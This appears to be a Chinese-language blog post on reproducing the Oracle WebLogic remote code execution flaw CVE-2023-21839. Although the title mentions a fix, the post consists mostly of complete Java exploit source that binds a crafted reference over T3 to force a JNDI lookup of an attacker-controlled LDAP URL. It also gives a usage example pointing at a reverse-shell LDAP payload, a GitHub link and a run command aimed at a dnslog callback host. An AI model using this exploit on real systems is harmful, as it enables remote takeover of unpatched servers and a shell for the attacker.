Weblogic远程代码执行CVE-2023-21839复现及修复

访问：http://IP:7001/console

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Random;
public class CVE_2023_21839 {    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
    private static InitialContext getInitialContext(String url)throws NamingException    {        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }    public static void main(String args[]) throws Exception {        if(args.length <2){            System.out.println(HOW_TO_USE);            System.exit(0);        }        String t3Url = args[0];        String ldapUrl = args[1];        InitialContext c=getInitialContext("t3://"+t3Url);        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f,env);        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        remoteJNDIName.set(f,ldapUrl);        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";        try{            c.bind(bindName,f);            c.lookup(bindName);        }catch(Exception e){ }
    }}

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

java -jar Weblogic-CVE-2023-21839.jar 127.0.0.1:7001  ldap://vxeavu.dnslog.cn